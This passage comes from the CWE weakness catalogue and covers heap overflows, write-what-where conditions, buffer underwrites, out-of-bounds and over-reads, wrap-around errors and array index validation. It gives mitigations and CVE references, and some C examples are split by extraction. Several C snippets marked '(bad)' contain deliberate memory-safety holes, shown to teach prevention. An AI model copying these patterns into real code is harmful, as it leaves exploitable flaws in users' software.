| MemberOf | C | 970 | SFP Secondary Cluster: Faulty Buffer Access | 888 | 2121 |
| MemberOf | C | 1160 | SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR) | 1154 | 2173 |
| MemberOf | C | 1161 | SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR) | 1154 | 2174 |

Notes

Other

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-------------------|--|
| CLASP | | | Stack overflow |

CWE-122: Heap-based Buffer Overflow

Weakness ID : 122

Status: Draft

Structure : Simple

Abstraction : Variant**Description**

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Integrity Confidentiality Availability Access Control | Execute Unauthorized Code or Commands Bypass Protection Mechanism Modify Memory <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.</i> | |
| Integrity Confidentiality Availability Access Control | Execute Unauthorized Code or Commands Bypass Protection Mechanism Other | |

| Scope | Impact | Likelihood |
|-------|---|------------|
| Other | When the consequence is arbitrary code execution, this can often be used to subvert any other security service. | |

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

Phase: Implementation

Implement and perform bounds checking on input.

Phase: Implementation

Strategy = Libraries or Frameworks

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

Demonstrative Examples

Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

Example Language: C (bad)

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf;
    buf = (char *)malloc(sizeof(char)*BUFSIZE);
    strcpy(buf, argv[1]);
}
```

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C (bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
        }
    }
}
```

```

        dst_buf[dst_index++] = 'p';
        dst_buf[dst_index++] = ';';
    }
    else if ('<' == user_supplied_string[i] ){
        /* encode to &lt; */
    }
    else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-2007-4268 | Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268 |
| CVE-2009-2523 | Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523 |
| CVE-2021-29529 | Chain: machine-learning product can have a heap-based buffer overflow (CWE-122) when some integer-oriented bounds are calculated by using ceiling() and floor() on floating point values (CWE-1339) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29529 |

Affected Resources

CWE-123: Write-what-where Condition

Weakness ID : 123
Structure : Simple
Abstraction : Base

Status: Draft

Description

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|--|------|

| Availability | Gain Privileges or Assume Identity | |
| Access Control | DoS: Crash, Exit, or Restart Bypass Protection Mechanism | |
| | <p><i>Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i></p> | |
| Integrity | DoS: Crash, Exit, or Restart | |
| Availability | Modify Memory | |
| | <p><i>Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.</i></p> | |
| Access Control | Bypass Protection Mechanism | |
| Other | Other | |
| | <p><i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i></p> | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Language Selection

Use a language that provides appropriate memory abstractions.

Phase: Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.

Demonstrative Examples**Example 1:**

The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

Example Language: C

(bad)

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf1 = (char *) malloc(BUFSIZE);
    char *buf2 = (char *) malloc(BUFSIZE);
    strcpy(buf1, argv[1]);
    free(buf2);
}
```

Vulnerability in this case is dependent on memory layout. The call to `strcpy()` can be used to write past the end of `buf1`, and, with a typical layout, can overwrite the accounting information that the system keeps for `buf2` when it is allocated. Note that if the allocation header for `buf2` can be overwritten, `buf2` itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for `buf2` will probably be `buf1`, and the next chunk may be null. When the `free()` occurs, most memory allocators will rewrite the linked list using data from `buf2`. Particularly, the "next" chunk for `buf1` will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-124: Buffer Underwrite ('Buffer Underflow')

Weakness ID : 124

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Alternate Terms

buffer underrun : Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|---|--|------------|
| Integrity Availability | Modify Memory DoS: Crash, Exit, or Restart | |
| | <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</i> | |
| Integrity Confidentiality Availability Access Control Other | Execute Unauthorized Code or Commands Modify Memory Bypass Protection Mechanism Other | |
| | <i>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.</i> | |
| Access Control Other | Bypass Protection Mechanism Other | |
| | <i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i> | |

Potential Mitigations

Phase: Requirements

Choose a language that is not susceptible to these issues.

Phase: Implementation

All calculated values that are used as index or for pointer arithmetic should be validated to ensure that they are within an expected range.

Demonstrative Examples

Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C

(bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
    }
}
```

```

    len--;
}
// return string without trailing whitespace
retMessage = message;
return retMessage;
}

```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

Example 2:

The following is an example of code that may result in a buffer underwrite, if `find()` returns a negative value to indicate that `ch` is not found in `srcBuf`:

Example Language: C

(bad)

```

int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}

```

If the index to `srcBuf` is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

| Reference | Description |
|-----------------------|---|
| CVE-2021-24018 | buffer underwrite in firmware verification routine allows code execution via a crafted firmware image http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24018 |
| CVE-2002-2227 | Unchecked length of SSLv2 challenge value leads to buffer underflow. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227 |
| CVE-2007-4580 | Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4580 |
| CVE-2007-1584 | Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1584 |
| CVE-2007-0886 | Buffer underflow resultant from encoded data that triggers an integer overflow. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0886 |
| CVE-2006-6171 | Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171 |
| CVE-2006-4024 | Negative value is used in a <code>memcpy()</code> operation, leading to buffer underflow. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4024 |
| CVE-2004-2620 | Buffer underflow due to mishandled special characters http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2620 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|---|-----|------|
| MemberOf |  | 970 | SFP Secondary Cluster: Faulty Buffer Access | 888 | 2121 |

Notes

Relationship

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

Research Gap

Much attention has been paid to buffer overflows, but "underflows" sometimes exist in products that are relatively free of overflows, so it is likely that this variant has been under-studied.

CWE-125: Out-of-bounds Read

Weakness ID : 125

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software reads data past the end, or before the beginning, of the intended buffer.

Extended Description

Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash. A crash can occur when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string. The expected sentinel might not be located in the out-of-bounds memory, causing excessive data to be read, leading to a segmentation fault or a buffer overflow. The software may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent read operation then produces undefined or unexpected results.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Memory | |
| Confidentiality | Bypass Protection Mechanism | |
| | <i>By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.</i> | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.

Phase: Architecture and Design

Strategy = Language Selection

Use a language that provides appropriate memory abstractions.

Demonstrative Examples

Example 1:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C (bad)

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C (good)

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}
```

Observed Examples

CWE-126: Buffer Over-read

| | |
|------------------------------|-----------------------|
| Weakness ID : 126 | Status : Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

Extended Description

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|---|------|
| ChildOf |  | 125 | Out-of-bounds Read | 307 |
| ChildOf |  | 788 | Access of Memory Location After End of Buffer | 1513 |
| CanFollow |  | 170 | Improper Null Termination | 401 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Memory | |
| Confidentiality | Bypass Protection Mechanism | |
| | <i>By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.</i> | |

Demonstrative Examples

Example 1:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C

(bad)

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possiblity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Example 2:

The following C/C++ example demonstrates a buffer over-read due to a missing NULL terminator. The main method of a pattern matching utility that looks for a specific pattern within a specific file uses the string strncpy() method to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.

Example Language: C

(bad)

```
int main(int argc, char **argv)
```

```

{
    char Filename[256];
    char Pattern[32];
    /* Validate number of parameters and ensure valid content */
    ...
    /* copy filename parameter to variable, may cause off-by-one overflow */
    strncpy(Filename, argv[1], sizeof(Filename));
    /* copy pattern parameter to variable, may cause off-by-one overflow */
    strncpy(Pattern, argv[2], sizeof(Pattern));
    printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);
    Scan_File(Filename, Pattern);
}

```

However, the code do not take into account that `strncpy()` will not add a NULL terminator when the source buffer is equal in length of longer than that provide size attribute. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays, a NULL terminator will not be added (CWE-170) which leads to the `printf()` read beyond the expected end of the `Filename` and `Pattern` buffers.

To fix this problem, be sure to subtract 1 from the `sizeof()` call to allow room for the null byte to be added.

Example Language: C

(good)

```

/* copy filename parameter to variable, no off-by-one overflow */
strncpy(Filename, argv[2], sizeof(Filename)-1);
Filename[255]='\0';
/* copy pattern parameter to variable, no off-by-one overflow */
strncpy(Pattern, argv[3], sizeof(Pattern)-1);
Pattern[31]='\0';

```

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2014-0160 | Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 |
| CVE-2009-2523 | Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523 |

CWE-127: Buffer Under-read

Weakness ID : 127

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.

Extended Description

This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-128: Wrap-around Error

| | |
|---------------------------|---------------------------|
| Weakness ID : 128 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|---|------|
| ChildOf |  | 682 | Incorrect Calculation | 1365 |
| PeerOf |  | 190 | Integer Overflow or Wraparound | 443 |
| CanPrecede |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 274 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------|------|
| MemberOf |  | 189 | Numeric Errors | 2028 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Background Details

Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|---|--|------------|
| Availability | DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i> | |
| Integrity | Modify Memory <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i> | |
| Confidentiality Availability Access Control | Execute Unauthorized Code or Commands Bypass Protection Mechanism <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i> | |

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Provide clear upper and lower bounds on the scale of any protocols designed.

Phase: Implementation

Perform validation on all incremented variables to ensure that they remain within reasonable bounds.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C

(bad)

```
img_t table_ptr; /*struct containing img data, 10kB each*/
```

```
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-129: Improper Validation of Array Index

Weakness ID : 129

Structure : Simple

Abstraction : Variant

Status: Draft

Description

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Resultant : The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Language : Language-Independent (Prevalence = Undetermined)

out-of-bounds array index :

index-out-of-range :

array index underflow :

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---|------------|
| Integrity | DoS: Crash, Exit, or Restart | |
| Availability | Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and | |

| Scope | Impact | Likelihood |
|--|---|------------|
| | <i>perhaps instructions, leading to a crash, if the values are outside of the valid memory area.</i> | |
| Integrity | Modify Memory | |
| | <i>If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.</i> | |
| Confidentiality Integrity | Modify Memory Read Memory | |
| | <i>Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.</i> | |
| Integrity Confidentiality Availability | Execute Unauthorized Code or Commands | |
| | <i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.</i> | |
| Integrity Availability Confidentiality | DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Read Memory Modify Memory | |
| | <i>A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.</i> | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Effectiveness = High

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Requirements*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

Phase: Operation*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the

full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Architecture and Design**Phase: Operation**

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design**Phase: Operation**

Strategy = Sandbox or Jail

